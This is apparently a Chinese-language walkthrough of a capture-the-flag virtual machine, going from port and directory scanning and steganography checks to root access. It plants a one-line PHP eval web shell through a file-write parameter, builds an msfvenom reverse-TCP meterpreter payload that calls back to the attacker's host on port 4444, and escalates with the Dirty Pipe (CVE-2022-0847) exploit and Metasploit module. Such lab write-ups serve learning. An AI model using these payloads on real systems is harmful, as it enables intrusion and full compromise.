信息收集
目标探测
靶机目标很明显就是61.139.2.141了
扫描开放端口
发现22、80、81
访问端口
主机访问80
翻译一下,并没有发现什么
审查源代码
发现里面有一张图片,下载下来看看是否有图片的隐写
wget http://61.139.2.141/trinity.jpeg
stegoveritas -i trinity.jpeg -o /home/kali/Desktop/11
分解后发现什么都没有,里面的keepers也是空的,就放弃了这张图片
主机访问81
发现需要账号密码连接
天塌了,思路断了
扫描目录
dirsearch扫描
发现有robots.txt和javascript分别看一下
ok他告诉我们小白兔不在这,让我们继续探索
这个的意思是我们没有访问这个资源的权限
因为robot.txt提示我们继续找找,可能是因为我们的字典太小了,我们换个扫描器换个字典试下
gobuster扫描
gobuster dir -u 61.139.2.141 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x .php,.html,.js,.sh,.txt
ok确实扫到了不一样的东西
接着尝试访问这两个
存在一个输入框,经过尝试我们发现输入什么进行发布,就会在上面出现什么
接下来我们看一下txt页面
貌似给我们提示了一些信息(Nebby、Morpheus)
抓包分析
此处有一个file变量,那么改变变量可以直接随意创建文件,写个马,准备反弹shell
message=<?php eval($_POST['shell']);?>
&file=188.php
蚁剑进行连接成功,但是看了一下并没有什么用用信息
进入终端发现一个flag.txt,查看一下
查看这个txt之后,发现他给我们从80端口查看这张图片
图片分析
查看一下这张图片,并下载下来
因为这张图片的文件名字是.开头,所以在桌面呗kali隐藏了,给他改个名字,就会在桌面显示出来
wget http://61.139.2.141/.cypher-neo.png
stegoveritas隐写
看一下是否存在隐写,发现并没有
stegoveritas -i 1.png -o /home/kali/Desktop/22

binwalk分离
binwalk -e 1.png
分离之后进入到文件夹内,进行xxd
也没研究出来什么东西
提权
执行exp
查看版本并查找版本漏洞
uname -a
这里我利用的是50808.c把他复制到桌面
cp /usr/share/exploitdb/exploits/linux/local/50808.c /home/kali/Desktop
这里因为我用的是本机蚁剑,所以有把exp复制到桌面,在拖进蚁剑
编译exp,该 exp 需要事先找到一个具有 SUID 权限的可执行文件,然后利用这个文件进行提权。先寻找SUID权限文件
(www-data:/var/tmp) $ gcc 50808.c -o exp
(www-data:/var/tmp) $ ls
50808.c
exp
(www-data:/var/tmp) $ chmod +x exp
(www-data:/var/tmp) $ find / -perm -u=s -type f 2>/dev/null
/usr/bin/su
/usr/bin/passwd
/usr/bin/chsh
/usr/bin/gpasswd
/usr/bin/newgrp
/usr/bin/mount
/usr/bin/sudo
/usr/bin/umount
/usr/bin/chfn
/usr/sbin/xtables-legacy-multi
/usr/lib/openssh/ssh-keysign
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
(www-data:/var/tmp) $ ./exp /usr/bin/passwd
[+] hijacking suid binary..
[+] dropping suid shell..
[+] restoring suid binary..
[+] popping root shell.. (dont forget to clean up /tmp/sh ;))
可以看到已经执行成功了,但没有反弹出来shell,暂不清楚原因,转用msfconsole试一下能不能攻击成功
payload
msfconsole 打开msf
search cve-2022-0847 搜索漏洞
use 0 使用该模块
show options 展示设置选项
确保session运行中,生成payload,反向链接,上传session
msfvenom -p linux/x86/meterpreter/reverse_tcp lhost=61.139.2.140 lport=4444 -f elf >/home/kali/Desktop/test.elf
老规矩,把他放进蚁剑里面
加权限并且执行
chmod +x test.elf
./test.elf
msf监听
使用msf监听模块
use exploit/multi/handler 使用监听模块
set payload linux/x86/meterpreter/reverse_tcp 设置payload
set lhost 61.139.2.140 设置本地IP(与生成的payload一致)
set lport 4444 设置端口(与生成的payload一致)
run
提权
使用cve-2022-0847模块,成功提权为root
background 收起会话
use exploit/linux/local/cve_2022_0847_dirtypipe 使用漏洞模块
set lhost 61.139.2.140 设置本地IP
set lport 4444 设置本地端口
set session 1 设置会话ID
run 运行
getuid 获取当前身份
pwd 获取当前文件夹
cd /root/ 切换目录
ls 查看当前路径下文件
cat FLAG.txt 查看flag
拿到flag